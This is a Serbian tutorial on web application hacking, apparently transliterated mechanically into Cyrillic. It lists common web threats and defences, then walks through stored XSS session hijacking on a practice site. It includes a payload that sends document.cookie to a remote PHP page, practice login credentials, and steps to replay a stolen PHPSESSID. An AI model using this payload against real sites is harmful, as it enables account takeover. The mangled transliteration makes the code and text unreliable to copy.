Више људи има приступ Интернету него икад раније. То је подстакло многе организације да развију веб заснован програм који корисници могу да користе на мрежи за интеракцију са организацијом. Лоше написан код за веб апликације може се искористити за неовлашћен приступ осетљивим подацима и веб серверима.
У овом упутству ћете научити како хаковати веб локације, а ми ћемо вас упознати са техникама хаковања веб апликација и противмерама које можете предузети како бисте се заштитили од таквих напада .
Теме обрађене у овом упутству
- Шта је веб апликација? Шта су веб претње?
- Како заштитити своју веб страницу од хаковања?
- Трикови за хаковање веб страница: Хакујте веб локацију на мрежи!
Шта је веб апликација? Шта су веб претње?
Веб апликација (позната као веб локација) је апликација заснована на моделу клијент-сервер. Сервер пружа приступ бази података и пословну логику. Хостиран је на веб серверу. Клијентска апликација ради на клијентском веб прегледачу. Веб апликације су обично написане на језицима као што су Јава, Ц # и ВБ.Нет, ПХП, ЦолдФусион Маркуп Лангуаге итд. Механизми база података који се користе у веб апликацијама укључују МиСКЛ, МС СКЛ Сервер, ПостгреСКЛ, СКЛите итд.
Већина веб апликација хостује се на јавним серверима доступним путем Интернета. То их чини рањивим на нападе због лаке приступачности. Следе уобичајене претње веб апликацијама.
- СКЛ Ињецтион - циљ ове претње може бити заобилажење алгоритама за пријаву, саботажа података итд.
- Напади ускраћивањем услуге - циљ ове претње могао би бити ускраћивање легитимних корисника приступу ресурсу
- Цросс Сите Сцриптинг КССС - циљ ове претње може бити убризгавање кода који се може извршити у прегледачу на страни клијента.
- Тровање колачићима / сесијама - циљ ове претње је модификовање колачића / података сесије од стране нападача како би се добио неовлашћени приступ.
- Уметање у образац - циљ ове претње је модификовање података о обрасцима, као што су цене у апликацијама за е-трговину, тако да нападач може добити предмете по сниженим ценама.
- Ињекција кода - циљ ове претње је убризгавање кода као што је ПХП, Питхон итд. Који се може извршити на серверу. Код може инсталирати бацкдоор, открити осетљиве информације итд.
- Каљање - циљ ове претње је модификовање странице која је приказана на веб локацији и преусмеравање свих захтева за страницу на једну страницу која садржи поруку нападача.
Како заштитити своју веб страницу од хаковања?
Организација може да усвоји следећу политику да би се заштитила од напада веб сервера.
- СКЛ Ињецтион - санирање и потврђивање корисничких параметара пре слања у базу података на обраду може смањити шансе за напад путем СКЛ Ињецтион-а. Механизми база података попут МС СКЛ Сервер, МиСКЛ итд. Подржавају параметре и припремљене изјаве. Они су много сигурнији од традиционалних СКЛ израза
- Напади ускраћивања услуге - заштитни зидови се могу користити за испуштање промета са сумњиве ИП адресе ако је напад једноставан ДоС. Правилна конфигурација мрежа и систем за откривање провала такође могу помоћи да се смање шансе за успех ДоС напада.
- Цросс Сите Сцриптинг - потврђивање и дезинфицирање заглавља, параметара прослеђених преко УРЛ-а, параметара обрасца и скривених вредности могу помоћи у смањењу КССС напада.
- Тровање колачићима / сесијама - ово се може спречити шифровањем садржаја колачића, временским ограничењем колачића након неког времена, повезивањем колачића са ИП адресом клијента која је коришћена за њихово креирање.
- Каљење обрасца - ово се може спречити потврђивањем и верификацијом корисничког уноса пре обраде.
- Ињекција кода - ово се може спречити третирањем свих параметара као података, а не извршног кода. За ово се могу користити санација и валидација.
- Искривљење - добра безбедносна политика за развој веб апликација треба да осигура да затвара најчешће коришћене рањивости за приступ веб серверу. Ово може бити правилна конфигурација оперативног система, софтвера веб сервера и најбоље праксе безбедности приликом развијања веб апликација.
Трикови за хаковање веб локација: Хакујте веб локацију на мрежи
У овом практичном сценарију за хаковање веб странице, отећемо корисничку сесију веб апликације која се налази на ввв.тецхпанда.орг. Користићемо скрипте на више локација за читање ИД-а сесије колачића, а затим га користимо за лажно представљање легитимне корисничке сесије.
Претпостављена је претпоставка да нападач има приступ веб апликацији и желео би да отме сесије других корисника који користе исту апликацију. Циљ овог напада може бити стицање администраторског приступа веб апликацији под претпоставком да је приступни налог нападача ограничен.
Почетак
- Отворите хттп://ввв.тецхпанда.орг/
- Из практичних разлога, топло се препоручује приступ путем СКЛ Ињецтион-а. Погледајте овај чланак за више информација о томе како то учинити.
- Адреса е- поште за пријаву је Ова адреса е-поште је заштићена од нежељених робота. Поште заштићена је од спам напада, треба омогућити ЈаваСкрипт да бисте је видели., Лозинка је Пассворд2010
- Ако сте се успешно пријавили, добићете следећу контролну таблу
- Кликните на Додај нови контакт
- Унесите следеће као прво име
<а хреф=# онцлицк=\"доцумент.лоцатион=\'хттп://тецхпанда.орг/снатцх_сесс_ид.пхп?ц=\'+есцапе\(доцумент.цоокие\)\;\"> Тамно
ОВДЕ,
Горњи код користи ЈаваСцрипт . Додаје хипервезу са онцлицк догађајем . Када несумњиви корисник кликне на везу, догађај преузима ИД сесије ПХП колачића и шаље га на страницу снатцх_сесс_ид.пхп заједно са ИД-ом сесије у УРЛ-у
- Унесите преостале детаље као што је приказано доле
- Кликните на Саве Цхангес
- Ваша контролна табла ће сада изгледати као на следећем екрану
- Будући да је код скрипте са више локација ускладиштен у бази података, учитава се сваки пут када се корисници са приступним правима пријаве
- Претпоставимо да се администратор пријави и кликне на хипервезу која каже Дарк
- Добиће прозор са ИД-ом сесије који се приказује у УРЛ-у
Напомена : скрипта можда шаље вредност на неки удаљени сервер где је ПХПСЕССИД сачуван, а затим је корисник преусмерен натраг на веб локацију као да се ништа није догодило.
Напомена : Вредност коју добијете може се разликовати од вредности у овом водичу за хаковање веб страница, али концепт је исти
Лажно представљање сесије користећи додатак Фирефок и Тампер Дата
Дијаграм тока у наставку приказује кораке које морате предузети да бисте завршили ову вежбу.
- За овај одељак ће вам требати веб прегледач Фирефок и додатак Тампер Дата
- Отворите Фирефок и инсталирајте додатак као што је приказано на доњим дијаграмима
- Потражите податке о неовлашћеном приступу, а затим кликните на инсталацију као што је приказано горе
- Кликните на Прихвати и инсталирај ...
- Кликните на Рестарт сада када се инсталација заврши
- Омогућите траку менија у Фирефоку ако није приказана
- Кликните на мени алата, а затим одаберите Тампер Дата као што је приказано испод
- Добићете следећи прозор. Напомена: Ако Виндовс није празан, притисните дугме за брисање
- Кликните на мени Старт Тампер
- Вратите се на веб прегледач Фирефок, откуцајте хттп://ввв.тецхпанда.орг/дасхбоард.пхп, а затим притисните тастер ентер да бисте учитали страницу
- Добићете следећи искачући прозор из Тампер Дата
- Искачући прозор има три (3) опције. Опција Тампер вам омогућава да измените информације о ХТТП заглављу пре него што их пошаљете серверу .
- Кликни на то
- Добићете следећи прозор
- Копирајте ИД ПХП сесије који сте копирали са УРЛ-а напада и залепите га након знака једнакости. Ваша вредност би сада требала изгледати овако
ПХПСЕССИД = 2ДВЛТИПП2Н8ЛДБН11Б2РА76ЛМ2
- Кликните на дугме ОК
- Поново ћете добити искачући прозор Тампер дата
- Опозовите избор поља за потврду са питањем Настави са неовлашћеним радом?
- Кликните на дугме за слање када завршите
- Морали бисте да видите контролну таблу као што је приказано доле
Напомена : нисмо се пријавили, већ смо се лажно представљали користећи ПХПСЕССИД вредност коју смо добили помоћу скриптирања на више локација.
Резиме
- Веб апликација се заснива на моделу сервер-клијент. Клијентска страна користи веб прегледач за приступ ресурсима на серверу.
- Веб апликације су обично доступне путем Интернета. То их чини рањивим на нападе.
- Претње веб апликацијама укључују СКЛ Ињецтион, Цоде Ињецтион, КССС, Дефацемент, тровање колачићима итд.
- Добра безбедносна политика при развоју веб апликација може вам помоћи да их направите безбедним.